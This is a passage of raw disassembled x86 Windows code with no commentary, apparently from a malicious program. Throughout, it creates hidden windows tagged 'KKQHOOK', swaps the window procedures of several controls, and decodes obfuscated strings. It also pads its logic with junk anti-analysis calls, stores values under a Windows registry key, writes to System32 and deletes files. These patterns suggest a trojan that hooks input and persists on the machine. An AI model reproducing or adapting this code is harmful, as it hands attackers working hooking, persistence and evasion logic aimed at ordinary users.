loc_408E2B: ; CODE XREF: sub_408DEF+36j
push 0FFFh
lea eax, [ebp+var_1000]
push eax
push edi
call sub_40C79C ; GetClassNameA
mov [ebp+var_1], 27h
add [ebp+var_1], 1
mov eax, 0Dh
sub eax, dword_43B098
push eax
push [ebp+arg_4]
lea eax, [ebp+var_1000]
push eax
call sub_401806
add esp, 0Ch
cmp eax, 0FFFFh
jz short loc_408E6E
mov eax, edi
jmp short loc_408E85
; ---------------------------------------------------------------------------
loc_408E6E: ; CODE XREF: sub_408DEF+79j
mov eax, dword_445ACB
mov [ebp+var_1004], eax
push 2
push edi
call sub_40C790 ; GetWindow
mov edi, eax
jmp short loc_408E23
; ---------------------------------------------------------------------------
loc_408E85: ; CODE XREF: sub_408DEF+3Aj
; sub_408DEF+7Dj
pop edi
pop esi
leave
retn
sub_408DEF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408E89 proc near ; CODE XREF: sub_40B143+1F3p
var_174 = dword ptr -174h
var_16F = byte ptr -16Fh
var_169 = byte ptr -169h
var_168 = dword ptr -168h
var_163 = byte ptr -163h
var_162 = byte ptr -162h
var_160 = dword ptr -160h
var_15C = dword ptr -15Ch
var_158 = dword ptr -158h
var_152 = word ptr -152h
var_150 = byte ptr -150h
var_148 = byte ptr -148h
var_140 = word ptr -140h
var_13E = byte ptr -13Eh
var_138 = dword ptr -138h
var_134 = dword ptr -134h
var_130 = dword ptr -130h
var_129 = byte ptr -129h
var_128 = dword ptr -128h
var_122 = word ptr -122h
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_118 = dword ptr -118h
var_112 = dword ptr -112h
var_10E = dword ptr -10Eh
var_10A = dword ptr -10Ah
var_106 = dword ptr -106h
var_102 = byte ptr -102h
var_3 = byte ptr -3
var_2 = word ptr -2
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 174h
push ebx
push esi
push edi
mov eax, dword_445ACF
mov [ebp+var_138], eax
push 9
push offset aST ; "éĀĪāĻĒČĪŁ"
call sub_40129C
push eax
push [ebp+arg_0]
call sub_408DEF
mov ebx, eax
call sub_40C538 ; RtlGetLastWin32Error
push 8
push offset aS ; "čÕŻĮĀßČß"
call sub_40129C
push eax
push ebx
call sub_408DEF
mov ds:dword_41C950, eax
call sub_40C598 ; GetTickCount
push 0
push ds:dword_41C950
call sub_40C880 ; ShowWindow
call sub_40C538 ; RtlGetLastWin32Error
lea eax, [ebp+var_112]
push eax
push ebx
call sub_40C778 ; GetWindowRect
push 0
push ds:dword_41DA84
push 0
push ebx
mov eax, [ebp+var_106]
sub eax, [ebp+var_10E]
push eax
mov eax, [ebp+var_10A]
sub eax, [ebp+var_112]
push eax
push 0
push 0
push 50800000h
push offset byte_446605
push offset aKkqhook ; "KKQHOOK"
push 200h
call sub_40C88C ; CreateWindowExA
mov ds:dword_41EB84, eax
call sub_40C598 ; GetTickCount
push 6
push offset word_445EF6
call sub_40129C
mov [ebp+var_158], eax
push 19h
push offset aZnnnNiG ; "§ģŲŁÅĀßÄ×ĢŁÄĀĆėĢÄĮČÉ"
call sub_40129C
push 0
push ds:dword_41DA84
push 0
push ds:dword_41EB84
mov edi, dword_43B098
add edi, 30h
push edi
mov edi, [ebp+var_10A]
sub edi, [ebp+var_112]
sub edi, 64h
push edi
mov edi, dword_43B098
add edi, 8
push edi
mov edi, dword_43B094
add edi, 12h
push edi
push 50800000h
push eax
mov edi, [ebp+var_158]
push edi
push 0
call sub_40C88C ; CreateWindowExA
mov ds:dword_41C94C, eax
call sub_40C514 ; GetCurrentThreadId
push 6
push offset word_445EF6
call sub_40129C
push 0
push ds:dword_41DA84
push 0
push ds:dword_41EB84
mov edi, dword_43B098
add edi, 120h
push edi
mov edi, [ebp+var_10A]
sub edi, [ebp+var_112]
sub edi, 64h
push edi
mov edi, dword_43B098
add edi, 45h
push edi
mov edi, dword_43B098
add edi, 8
push edi
push 50800009h
push offset byte_446605
push eax
push 0
call sub_40C88C ; CreateWindowExA
mov ds:dword_42FCF8, eax
call sub_40C514 ; GetCurrentThreadId
push 0
push 2
push 0
push 0
push 5
push 1
push 0
push 0
push 0
push 2BCh
push 0
push 0
mov eax, 14h
sub eax, dword_43B098
push eax
mov eax, dword_43B094
add eax, 12h
push eax
call sub_40C8F8 ; CreateFontA
mov [ebp+var_134], eax
call sub_40C634 ; IsDebuggerPresent
push 1
push [ebp+var_134]
push 30h
push ds:dword_41C94C
call sub_40C85C ; SendMessageA
call sub_40C5A4 ; GetVersion
push 8
push offset byte_445ED3
call sub_40129C
push 0
push ds:dword_41DA84
push 0
push ds:dword_42FCF8
mov edi, dword_43B098
add edi, 120h
push edi
mov edi, dword_43B094
add edi, 30h
push edi
mov edi, dword_43B098
add edi, 2Eh
push edi
mov edi, dword_43B098
add edi, 8
push edi
push 50800003h
push offset byte_446605
push eax
push 0
call sub_40C88C ; CreateWindowExA
mov ds:dword_431D04, eax
call sub_40C508 ; GetCurrentProcessId
push 8
push offset byte_445ED3
call sub_40129C
add esp, 48h
push 0
push ds:dword_41DA84
push 0
push ds:dword_42FCF8
mov edi, dword_43B098
add edi, 120h
push edi
mov edi, dword_43B098
add edi, 30h
push edi
mov edi, dword_43B098
add edi, 2Eh
push edi
mov edi, dword_43B098
add edi, 46h
push edi
push 50800003h
push offset byte_446605
push eax
push 0
call sub_40C88C ; CreateWindowExA
mov ds:dword_41DA7C, eax
call sub_40C598 ; GetTickCount
mov [ebp+var_2], 1
jmp loc_409219
; ---------------------------------------------------------------------------
loc_409155: ; CODE XREF: sub_408E89+397j
call sub_40C508 ; GetCurrentProcessId
lea edi, [ebp+var_169]
lea esi, aXola ; "xOLa%"
mov ecx, 3
rep movsw
lea edi, [ebp+var_16F]
lea esi, a6s7P ; "6S7+P"
mov ecx, 3
rep movsw
push 4
push offset aIgq ; "Ų"
call sub_40129C
movzx edi, [ebp+var_2]
push edi
push eax
lea edi, [ebp+var_162]
push edi
call sub_40CA30
lea eax, [ebp+var_162]
push eax
push 0
push 143h
push ds:dword_431D04
call sub_40C85C ; SendMessageA
push 6
push offset aQaigq ; "Ų"
call sub_40129C
movzx edi, [ebp+var_2]
add edi, 4
push edi
push eax
lea edi, [ebp+var_162]
push edi
call sub_40CA30
add esp, 28h
call sub_40C538 ; RtlGetLastWin32Error
lea eax, [ebp+var_162]
push eax
push 0
push 143h
push ds:dword_41DA7C
call sub_40C85C ; SendMessageA
mov [ebp+var_163], 0E9h
movzx eax, [ebp+var_163]
mov edx, eax
add edx, eax
mov eax, edx
mov [ebp+var_163], al
inc [ebp+var_2]
loc_409219: ; CODE XREF: sub_408E89+2C7j
movzx eax, [ebp+var_2]
cmp eax, 0Dh
jl loc_409155
push 6
push offset word_445EF6
call sub_40129C
mov [ebp+var_15C], eax
push 10h
push offset word_445EB6
call sub_40129C
push 0
push ds:dword_41DA84
push 0
push ds:dword_41EB84
mov edi, dword_43B098
add edi, 4
push edi
mov edi, dword_43B098
add edi, 5Bh
push edi
mov edi, dword_43B098
add edi, 62h
push edi
mov edi, dword_43B098
add edi, 0B7h
push edi
push 50000000h
push eax
mov edi, [ebp+var_15C]
push edi
push 0
call sub_40C88C ; CreateWindowExA
mov ds:dword_413F70, eax
mov [ebp+var_118], 5002h
add [ebp+var_118], 127Fh
push 6
push offset word_445EF6
call sub_40129C
mov [ebp+var_160], eax
push 0Fh
push offset aSN ; "čÕŻÄßĢŁÄĀĆÉĢŁČ"
call sub_40129C
push 0
push ds:dword_41DA84
push 0
push ds:dword_41EB84
mov edi, dword_43B094
add edi, 0Eh
push edi
mov edi, dword_43B098
add edi, 4Bh
push edi
mov edi, dword_43B098
add edi, 85h
push edi
mov edi, dword_43B094
add edi, 0C1h
push edi
push 50000000h
push eax
mov edi, [ebp+var_160]
push edi
push 0
call sub_40C88C ; CreateWindowExA
mov ds:dword_431CFC, eax
push 6
push offset word_445EF6
call sub_40129C
mov [ebp-164h], eax
push 0Ch
push offset byte_445E99
call sub_40129C
push 0
push ds:dword_41DA84
push 0
push ds:dword_41EB84
mov edi, dword_43B094
add edi, 0Eh
push edi
mov edi, dword_43B094
add edi, 54h
push edi
mov edi, dword_43B098
add edi, 0ADh
push edi
mov edi, dword_43B098
add edi, 0B7h
push edi
push 50000000h
push eax
mov edi, [ebp-164h]
push edi
push 0
call sub_40C88C ; CreateWindowExA
mov ds:dword_433FE4, eax
push 6
push offset word_445EF6
call sub_40129C
mov [ebp+var_168], eax
push 4Ah
push offset word_445E4E
call sub_40129C
push 0
push ds:dword_41DA84
push 0
push ds:dword_41EB84
mov edi, dword_43B094
add edi, 0Eh
push edi
mov edi, dword_43B094
add edi, 1E2h
push edi
mov edi, dword_43B098
add edi, 0DAh
push edi
mov edi, dword_43B098
add edi, 12h
push edi
push 50000000h
push eax
mov edi, [ebp+var_168]
push edi
push 0
call sub_40C88C ; CreateWindowExA
mov ds:dword_431D00, eax
call sub_40C538 ; RtlGetLastWin32Error
push 6
push offset word_445EF6
call sub_40129C
mov [ebp-16Ch], eax
push 26h
push offset byte_445E27
call sub_40129C
push 0
push ds:dword_41DA84
push 0
push ds:dword_41EB84
mov edi, dword_43B094
add edi, 0Eh
push edi
mov edi, dword_43B094
add edi, 0FBh
push edi
mov edi, dword_43B098
add edi, 0F3h
push edi
mov edi, dword_43B094
add edi, 1Ch
push edi
push 50000000h
push eax
mov edi, [ebp-16Ch]
push edi
push 0
call sub_40C88C ; CreateWindowExA
mov ds:dword_439328, eax
call sub_40C538 ; RtlGetLastWin32Error
lea edi, [ebp+var_13E]
lea esi, aAYI ; "A&y I"
mov ecx, 3
rep movsw
push offset byte_432F00
lea eax, [ebp+var_102]
push eax
call sub_40CA30
add esp, 58h
call sub_40C5A4 ; GetVersion
mov [ebp+var_3], 4
jmp short loc_4094CD
; ---------------------------------------------------------------------------
loc_4094BD: ; CODE XREF: sub_408E89+649j
movzx eax, [ebp+var_3]
mov [ebp+eax+var_102], 78h
add [ebp+var_3], 1
loc_4094CD: ; CODE XREF: sub_408E89+632j
mov al, [ebp+var_3]
cmp al, 0Ch
jb short loc_4094BD
mov [ebp+var_11C], 78Fh
add [ebp+var_11C], 2437h
push 4
push offset word_445E22
call sub_40129C
push 0
push ds:dword_41DA84
push 0
push ds:dword_42FCF8
mov edi, dword_43B094
add edi, 16h
push edi
mov edi, dword_43B098
mov esi, edi
add esi, 76h
push esi
add edi, 8
push edi
push edi
push 50800800h
lea edi, [ebp+var_102]
push edi
push eax
push 200h
call sub_40C88C ; CreateWindowExA
mov ds:dword_410848, eax
call sub_40C5A4 ; GetVersion
push 4
push offset word_445E22
call sub_40129C
push 0
push ds:dword_41DA84
push 0
push ds:dword_42FCF8
mov edi, dword_43B094
add edi, 16h
push edi
mov edi, dword_43B094
add edi, 44h
push edi
mov edi, dword_43B098
add edi, 53h
push edi
mov edi, dword_43B098
add edi, 8
push edi
push 50800000h
push offset byte_446605
push eax
push 200h
call sub_40C88C ; CreateWindowExA
mov ds:dword_41DA74, eax
call sub_40C598 ; GetTickCount
push 0
push 78h
push 0CCh
push ds:dword_41DA74
call sub_40C85C ; SendMessageA
push 6
push offset byte_445E1B
call sub_40129C
mov [ebp-170h], eax
push 16h
push offset dword_445E04
call sub_40129C
add esp, 20h
push 0
push ds:dword_41DA84
push 0
push ds:dword_41EB84
mov edi, dword_43B098
add edi, 0Bh
push edi
mov edi, dword_43B098
add edi, 8Fh
push edi
mov edi, dword_43B098
add edi, 134h
push edi
mov edi, dword_43B098
add edi, 12h
push edi
push 50800000h
push eax
mov edi, [ebp-170h]
push edi
push 0
call sub_40C88C ; CreateWindowExA
mov ds:dword_433FE8, eax
call sub_40C574 ; GetProcessHeap
push 0
push 2
push 0
push 0
push 5
push 1
push 0
push 0
push 0
push 190h
push 0
push 0
mov eax, dword_43B094
add eax, 4
push eax
mov eax, dword_43B098
add eax, 4
push eax
call sub_40C8F8 ; CreateFontA
mov ebx, eax
push 1
push ebx
push 30h
push ds:dword_431D04
call sub_40C85C ; SendMessageA
mov ax, word_445AE5
mov [ebp+var_140], ax
push 1
push ebx
push 30h
push ds:dword_41DA7C
call sub_40C85C ; SendMessageA
call sub_40C508 ; GetCurrentProcessId
push 1
push ebx
push 30h
push ds:dword_410848
call sub_40C85C ; SendMessageA
push 1
push ebx
push 30h
push ds:dword_41DA74
call sub_40C85C ; SendMessageA
push 1
push ebx
push 30h
push ds:dword_431CFC
call sub_40C85C ; SendMessageA
lea edi, [ebp+var_148]
lea esi, aDvybtb ; " dyTB"
movsd
movsd
push 1
push ebx
push 30h
push ds:dword_413F70
call sub_40C85C ; SendMessageA
mov [ebp+var_120], 1931h
add [ebp+var_120], 340Ch
push 1
push ebx
push 30h
push ds:dword_433FE4
call sub_40C85C ; SendMessageA
lea edi, [ebp+var_150]
lea esi, byte_445AEF
mov ecx, 2
rep movsd
push 1
push ebx
push 30h
push ds:dword_433FE8
call sub_40C85C ; SendMessageA
push 0FFFFFFFCh
push ds:dword_431D04
call sub_40C808 ; GetWindowLongA
mov ds:dword_41EA7C, eax
call sub_40C598 ; GetTickCount
push offset sub_40B01B
push 0FFFFFFFCh
push ds:dword_431D04
call sub_40C814 ; SetWindowLongA
mov [ebp+var_122], 0B3Bh
add [ebp+var_122], 6718h
push 0FFFFFFFCh
push ds:dword_41DA7C
call sub_40C808 ; GetWindowLongA
mov ds:dword_41DA78, eax
mov ebx, 90Dh
mov eax, ebx
add eax, ebx
mov ebx, eax
push offset sub_40B01B
push 0FFFFFFFCh
push ds:dword_41DA7C
call sub_40C814 ; SetWindowLongA
mov [ebp+var_128], 5EE2h
mov eax, 7823h
mul [ebp+var_128]
mov [ebp+var_174], eax
mov [ebp+var_128], eax
push 0FFFFFFFCh
push ds:dword_410848
call sub_40C808 ; GetWindowLongA
mov ds:dword_40E008, eax
mov [ebp+var_129], 0B8h
add [ebp+var_129], 0CCh
push offset sub_40B01B
push 0FFFFFFFCh
push ds:dword_410848
call sub_40C814 ; SetWindowLongA
call sub_40C634 ; IsDebuggerPresent
push 0FFFFFFFCh
push ds:dword_41DA74
call sub_40C808 ; GetWindowLongA
mov ds:dword_413F6C, eax
mov [ebp+var_130], 5F75h
inc [ebp+var_130]
push offset sub_40B01B
push 0FFFFFFFCh
push ds:dword_41DA74
call sub_40C814 ; SetWindowLongA
call sub_40C5A4 ; GetVersion
push ds:dword_431D04
call sub_40C7A8 ; SetFocus
mov ax, word_445AF7
mov [ebp+var_152], ax
pop edi
pop esi
pop ebx
leave
retn
sub_408E89 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_409847 proc near ; DATA XREF: sub_40A766+80Do
var_55FD = byte ptr -55FDh
var_55FC = dword ptr -55FCh
var_55F7 = byte ptr -55F7h
var_55F4 = word ptr -55F4h
var_55F1 = byte ptr -55F1h
var_55F0 = dword ptr -55F0h
var_55EA = byte ptr -55EAh
var_474C = dword ptr -474Ch
var_4746 = dword ptr -4746h
var_4742 = byte ptr -4742h
var_473F = byte ptr -473Fh
var_4737 = byte ptr -4737h
var_4736 = byte ptr -4736h
var_472F = byte ptr -472Fh
var_4727 = byte ptr -4727h
var_4720 = dword ptr -4720h
var_471C = word ptr -471Ch
var_4719 = byte ptr -4719h
var_4718 = word ptr -4718h
var_4716 = word ptr -4716h
var_4714 = dword ptr -4714h
var_470F = byte ptr -470Fh
var_470E = word ptr -470Eh
var_470B = byte ptr -470Bh
var_470A = word ptr -470Ah
var_4707 = byte ptr -4707h
var_4608 = byte ptr -4608h
var_4604 = dword ptr -4604h
var_4600 = dword ptr -4600h
var_45FC = dword ptr -45FCh
var_45F5 = byte ptr -45F5h
var_45F4 = dword ptr -45F4h
var_45EF = byte ptr -45EFh
var_45EB = byte ptr -45EBh
var_35FD = byte ptr -35FDh
var_35FA = word ptr -35FAh
var_35F8 = dword ptr -35F8h
var_35F4 = word ptr -35F4h
var_35F2 = word ptr -35F2h
var_35F0 = dword ptr -35F0h
var_35EC = dword ptr -35ECh
var_35E5 = byte ptr -35E5h
var_35E0 = word ptr -35E0h
var_35DE = byte ptr -35DEh
var_35D8 = byte ptr -35D8h
var_35D3 = byte ptr -35D3h
var_25D4 = byte ptr -25D4h
var_25CF = byte ptr -25CFh
var_15E4 = dword ptr -15E4h
var_15E0 = dword ptr -15E0h
var_15DC = dword ptr -15DCh
var_15D8 = dword ptr -15D8h
var_15D4 = dword ptr -15D4h
var_15D0 = dword ptr -15D0h
var_117A = byte ptr -117Ah
var_1174 = byte ptr -1174h
var_116C = byte ptr -116Ch
var_1167 = byte ptr -1167h
var_1160 = byte ptr -1160h
var_1159 = byte ptr -1159h
var_1153 = byte ptr -1153h
var_114C = dword ptr -114Ch
var_1148 = word ptr -1148h
var_1146 = byte ptr -1146h
var_113F = byte ptr -113Fh
var_1138 = word ptr -1138h
var_1136 = byte ptr -1136h
var_1133 = byte ptr -1133h
var_1034 = dword ptr -1034h
var_102D = byte ptr -102Dh
var_102C = dword ptr -102Ch
var_1028 = word ptr -1028h
var_1026 = word ptr -1026h
var_1024 = word ptr -1024h
var_1022 = word ptr -1022h
var_1020 = word ptr -1020h
var_101D = byte ptr -101Dh
var_101C = word ptr -101Ch
var_1019 = byte ptr -1019h
var_1018 = dword ptr -1018h
var_1014 = dword ptr -1014h
var_100F = byte ptr -100Fh
var_F0B = byte ptr -0F0Bh
var_E0C = dword ptr -0E0Ch
var_E08 = byte ptr -0E08h
var_608 = dword ptr -608h
var_604 = dword ptr -604h
var_600 = byte ptr -600h
var_200 = byte ptr -200h
var_1FD = byte ptr -1FDh
var_1FB = byte ptr -1FBh
var_1A8 = byte ptr -1A8h
var_1A7 = byte ptr -1A7h
push ebp
mov ebp, esp
mov eax, 5600h
call sub_40C498
push ebx
push esi
push edi
lea edi, [ebp+var_1136]
lea esi, byte_445AF9
mov ecx, 3
rep movsb
mov ax, word_445AFC
mov [ebp+var_1138], ax
lea edi, [ebp+var_113F]
lea esi, aXeXw7 ; "xe#xW7"
mov ecx, 7
rep movsb
lea edi, [ebp+var_1146]
lea esi, aSZtw ; "s* ztw"
mov ecx, 7
rep movsb
mov ax, word_445B0C
mov [ebp+var_1148], ax
mov eax, dword_445B0E
mov [ebp+var_114C], eax
call sub_40C598 ; GetTickCount
push eax
call sub_40CA3C
pop ecx
mov [ebp+var_1020], 5EBBh
movzx eax, [ebp+var_1020]
imul eax, 4F0Ch
mov [ebp+var_1020], ax
loc_4098DE: ; CODE XREF: sub_409847+EB1j
lea edi, [ebp+var_1153]
lea esi, aMc_o9 ; " MC_O9"
mov ecx, 7
rep movsb
mov eax, 14h
sub eax, dword_43B098
push eax
lea eax, [ebp+var_F0B]
push eax
call sub_40170F
mov [ebp+var_1022], 7892h
add [ebp+var_1022], 627Dh
push 9
push offset word_445DFA
call sub_40129C
lea edi, [ebp+var_F0B]
push edi
push offset aCWindowsSystem ; "C:\\WINDOWS\\System32"
push eax
lea edi, [ebp+var_600]
push edi
call sub_40CA30
mov [ebp+var_1019], 0CDh
movzx eax, [ebp+var_1019]
mov edx, eax
add edx, eax
mov eax, edx
mov [ebp+var_1019], al
lea eax, [ebp+var_600]
push eax
call sub_403449
call sub_40C508 ; GetCurrentProcessId
lea edi, [ebp+var_1159]
lea esi, aV?zP ; "v?Z,P"
mov ecx, 3
rep movsw
push 9
push offset aCvvi ; "ÅŁŁŻŽ"
call sub_40129C
mov edi, dword_43B0B4
push off_43B0BC[edi*4]
push eax
lea edi, [ebp+var_E08]
push edi
call sub_40CA30
call sub_40C508 ; GetCurrentProcessId
push 1
push offset aV ; ""
call sub_40129C
mov edi, 0Dh
sub edi, dword_43B098
push edi
push eax
mov edi, dword_43B0B4
push off_43B0BC[edi*4]
call sub_401806
add esp, 4Ch
cmp eax, 0FFFFh
jnz short loc_4099FB
push 0Ah
push offset aVG ; "ŚĪČŽĘŻÅŻ"
call sub_40129C
push eax
lea edi, [ebp+var_E08]
push edi
call sub_40CA54
add esp, 10h
loc_4099FB: ; CODE XREF: sub_409847+196j
mov [ebp+var_1024], 318Dh
add [ebp+var_1024], 466Ah
and [ebp+var_1018], 0
mov [ebp+var_1034], 4
call sub_40C574 ; GetProcessHeap
push 1Ah
push offset dword_445DC8
call sub_40129C
mov [ebp+var_15D0], eax
push 3
push offset asc_445DC4 ; "ÄĖĪ"
call sub_40129C
lea edi, [ebp+var_1160]
push edi
lea edi, [ebp+var_1034]
push edi
lea edi, [ebp+var_1018]
push edi
push eax
mov edi, [ebp+var_15D0]
push edi
push 80000001h
call sub_4014BD
lea edi, [ebp+var_1167]
lea esi, a9yb ; "9y|'&"
mov ecx, 7
rep movsb
lea edi, [ebp+var_116C]
lea esi, aRlJ ; "Rl J"
mov ecx, 5
rep movsb
push 7
push offset aTRi ; "ÄĖĪŲ"
call sub_40129C
push [ebp+var_1018]
push eax
lea edi, [ebp+var_1133]
push edi
call sub_40CA30
mov [ebp+var_1026], 7CB6h
sub [ebp+var_1026], 556Ch
lea eax, [ebp+var_1133]
push eax
lea eax, [ebp+var_E08]
push eax
call sub_40CA54
lea edi, [ebp+var_1174]
lea esi, aMe0AP ; "Me0/&P"
movsd
movsd
push 1
push offset asc_445DBA ; "Ü"
call sub_40129C
lea edi, [ebp+var_604]
push edi
push 0
push 0
push eax
push offset aKkqhook ; "KKQHOOK"
lea edi, [ebp+var_600]
push edi
lea edi, [ebp+var_E08]
push edi
push 0
call sub_4062CD
add esp, 6Ch
mov ebx, eax
call sub_40C574 ; GetProcessHeap
or ebx, ebx
jnz short loc_409B4A
lea edi, [ebp+var_15D8]
lea esi, a@_aP1 ; " @_a&P1"
mov ecx, 2
rep movsd
lea eax, [ebp+var_600]
push eax
call sub_4034D8
pop ecx
call sub_40C5A4 ; GetVersion
jmp loc_40A5BF
; ---------------------------------------------------------------------------
loc_409B4A: ; CODE XREF: sub_409847+2D7j
and [ebp+var_1018], 0
push 1Ah
push offset dword_445DC8
call sub_40129C
mov [ebp+var_15D4], eax
push 3
push offset asc_445DC4 ; "ÄĖĪ"
call sub_40129C
push 4
push 4
lea edi, [ebp+var_1018]
push edi
push eax
mov edi, [ebp+var_15D4]
push edi
push 80000001h
call sub_4015EB
mov [ebp+var_1028], 5BFEh
inc [ebp+var_1028]
push 0
lea eax, [ebp+var_600]
push eax
call sub_401A36
add esp, 30h
mov [ebp+var_E0C], eax
or eax, eax
jz loc_40A5BF
lea eax, [ebp+var_600]
push eax
call sub_40C760 ; DeleteFileA
lea eax, [ebp+var_600]
push eax
call sub_4034D8
pop ecx
call sub_40C574 ; GetProcessHeap
and [ebp+var_608], 0
jmp loc_40A56A
; ---------------------------------------------------------------------------
loc_409BE5: ; CODE XREF: sub_409847+D46j
call sub_40C5A4 ; GetVersion
cmp [ebp+var_200], 0
jz loc_40A56A
call sub_40C5A4 ; GetVersion
lea ecx, [ebp+var_200]
or eax, 0FFFFFFFFh
loc_409C05: ; CODE XREF: sub_409847+3C3j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_409C05
cmp eax, 5Ch
jb loc_40A56A
lea edi, [ebp+var_35D8]
lea esi, aLLe ; "L LE"
mov ecx, 5
rep movsb
mov [ebp+var_1A8], 0
lea edi, [ebp+var_35DE]
lea esi, a8bd3 ; "*8bd3"
mov ecx, 3
rep movsw
push 0FFFh
lea eax, [ebp+var_25D4]
push eax
lea eax, [ebp+var_1A7]
push eax
call sub_408A95
mov ax, word_445B46
mov [ebp+var_35E0], ax
push 0FFFh
lea eax, [ebp+var_35D3]
push eax
lea eax, [ebp+var_200]
push eax
call sub_408A95
add esp, 18h
lea edi, [ebp+var_35E5]
lea esi, aWxQ ; "WX$Q"
mov ecx, 5
rep movsb
mov byte ptr [ebp+var_15D8+2], 0
call sub_40C598 ; GetTickCount
mov byte ptr [ebp+var_15D8+3], 0
jmp short loc_409CC9
; ---------------------------------------------------------------------------
loc_409CAB: ; CODE XREF: sub_409847+49Bj
movzx eax, byte ptr [ebp+var_15D8+3]
lea edx, [ebp+eax+var_25D4]
movsx ecx, byte ptr [edx]
sub ecx, eax
mov eax, ecx
mov [edx], al
add byte ptr [ebp+var_15D8+3], 1
loc_409CC9: ; CODE XREF: sub_409847+462j
lea ecx, [ebp+var_25D4]
or eax, 0FFFFFFFFh
loc_409CD2: ; CODE XREF: sub_409847+490j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_409CD2
movzx esi, byte ptr [ebp+var_15D8+3]
cmp esi, eax
jb short loc_409CAB
lea ecx, [ebp+var_25D4]
or eax, 0FFFFFFFFh
loc_409CED: ; CODE XREF: sub_409847+4ABj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_409CED
lea esi, [ebp+var_35D3]
push esi
push eax
lea edi, [ebp+var_25D4]
push edi
call sub_4088D5
add esp, 0Ch
mov [ebp+var_35EC], eax
call sub_40C514 ; GetCurrentThreadId
push 5
push offset aN ; "ŚŻŽŁ"
call sub_40129C
add esp, 8
mov edi, 3
sub edi, dword_43B094
push edi
push eax
lea edi, [ebp+var_25D4]
push edi
call sub_401806
add esp, 0Ch
cmp eax, 0
jnz loc_40A21B
call sub_40C5A4 ; GetVersion
lea edi, [ebp+var_4727]
lea esi, aYxC ; "yX>c ,"
mov ecx, 7
rep movsb
mov [ebp+var_470A], 2351h
inc [ebp+var_470A]
lea eax, [ebp+var_25CF]
push eax
lea eax, [ebp+var_45EF]
push eax
call sub_40C4B8
lea edi, [ebp+var_472F]
lea esi, aDdjrm ; "!ddJrm*"
mov ecx, 8
rep movsb
mov [ebp+var_35F0], 0
mov [ebp+var_45F4], 4
mov [ebp+var_470B], 2Bh
movzx eax, [ebp+var_470B]
imul eax, 40A3h
mov [ebp+var_470B], al
lea eax, [ebp+var_4608]
push eax
lea eax, [ebp+var_45F4]
push eax
lea eax, [ebp+var_35F0]
push eax
push offset aOfstkkq ; "ofstkkq"
push offset aSoftwareMicr_0 ; "Software\\Microsoft\\Windows"
push 80000001h
call sub_4014BD
add esp, 18h
call sub_40C598 ; GetTickCount
push 1
push offset asc_445DBA ; "Ü"
call sub_40129C
add esp, 8
lea edi, [ebp+var_604]
push edi
push 0
push 0
push eax
push offset aKkqhook ; "KKQHOOK"
lea edi, [ebp+var_600]
push edi
lea edi, [ebp+var_45EF]
push edi
push offset dword_41EA80
call sub_4062CD
add esp, 20h
mov ebx, eax
call sub_40C508 ; GetCurrentProcessId
cmp ebx, 0
jnz short loc_409E64
call sub_40C598 ; GetTickCount
lea eax, [ebp+var_600]
push eax
call sub_4034D8
add esp, 4
mov [ebp+var_474C], 3A1Ch
inc [ebp+var_474C]
jmp short loc_409EB1
; ---------------------------------------------------------------------------
loc_409E64: ; CODE XREF: sub_409847+5F5j
push 4
push 4
lea eax, [ebp+var_604]
push eax
push offset aOfstkkq ; "ofstkkq"
push offset aSoftwareMicr_0 ; "Software\\Microsoft\\Windows"
push 80000001h
call sub_4015EB
mov [ebp+var_45F5], 10h
movzx eax, [ebp+var_45F5]
mov edx, eax
add edx, eax
mov eax, edx
mov [ebp+var_45F5], al
lea eax, [ebp+var_600]
push eax
call sub_4034D8
add esp, 1Ch
call sub_40C508 ; GetCurrentProcessId
loc_409EB1: ; CODE XREF: sub_409847+61Bj
and [ebp+var_35F0], 0
mov [ebp+var_45F4], 4
lea edi, [ebp+var_4736]
lea esi, aPYN ; " P'y&n"
mov ecx, 7
rep movsb
lea eax, [ebp+var_4608]
push eax
lea eax, [ebp+var_45F4]
push eax
lea eax, [ebp+var_35F0]
push eax
push offset aOfstkkqc ; "ofstkkqc"
push offset aSoftwareMicr_0 ; "Software\\Microsoft\\Windows"
push 80000001h
call sub_4014BD
add esp, 18h
lea edi, [ebp+var_4737]
lea esi, byte_445B63
xor ecx, ecx
inc ecx
rep movsb
push 0
push 0
push 4
push 0
push 0
push 80000000h
push offset dword_40E010
call sub_40C67C ; CreateFileA
mov [ebp+var_4600], eax
call sub_40C598 ; GetTickCount
push 0
push [ebp+var_4600]
call sub_40C520 ; GetFileSize
mov [ebp+var_4720], eax
mov [ebp+var_470E], 791Eh
sub [ebp+var_470E], 1754h
push [ebp+var_4600]
call sub_40C55C ; CloseHandle
call sub_40C508 ; GetCurrentProcessId
mov eax, [ebp+var_4720]
cmp [ebp+var_35F0], eax
jb short loc_409F83
call sub_40C5A4 ; GetVersion
jmp loc_40A0AB
; ---------------------------------------------------------------------------
loc_409F83: ; CODE XREF: sub_409847+730j
lea edi, [ebp+var_473F]
lea esi, a7Emen ; "7 EmEn;"
movsd
movsd
mov eax, 14h
sub eax, dword_43B098
push eax
lea eax, [ebp+var_4707]
push eax
call sub_40170F
call sub_40C634 ; IsDebuggerPresent
push 9
push offset word_445DAA
call sub_40129C
lea edi, [ebp+var_4707]
push edi
push offset aCWindowsSystem ; "C:\\WINDOWS\\System32"
push eax
lea edi, [ebp+var_600]
push edi
call sub_40CA30
mov [ebp+var_470F], 51h
movzx eax, [ebp+var_470F]
imul eax, 7CFBh
mov [ebp+var_470F], al
lea eax, [ebp+var_600]
push eax
call sub_403449
push 1
push offset asc_445DBA ; "Ü"
call sub_40129C
lea edi, [ebp+var_604]
push edi
push 0
push [ebp+var_35F0]
push eax
push offset aKkqhook ; "KKQHOOK"
lea edi, [ebp+var_600]
push edi
lea edi, [ebp+var_45EF]
push edi
push offset dword_40E010
call sub_4062CD
mov ebx, eax
lea edi, [ebp+var_4742]
lea esi, aSx ; "sx"
mov ecx, 3
rep movsb
lea eax, [ebp+var_600]
push eax
call sub_40C760 ; DeleteFileA
mov [ebp+var_4714], 7F66h
inc [ebp+var_4714]
lea eax, [ebp+var_600]
push eax
call sub_4034D8
add esp, 50h
call sub_40C634 ; IsDebuggerPresent
or ebx, ebx
jz short loc_40A0AB
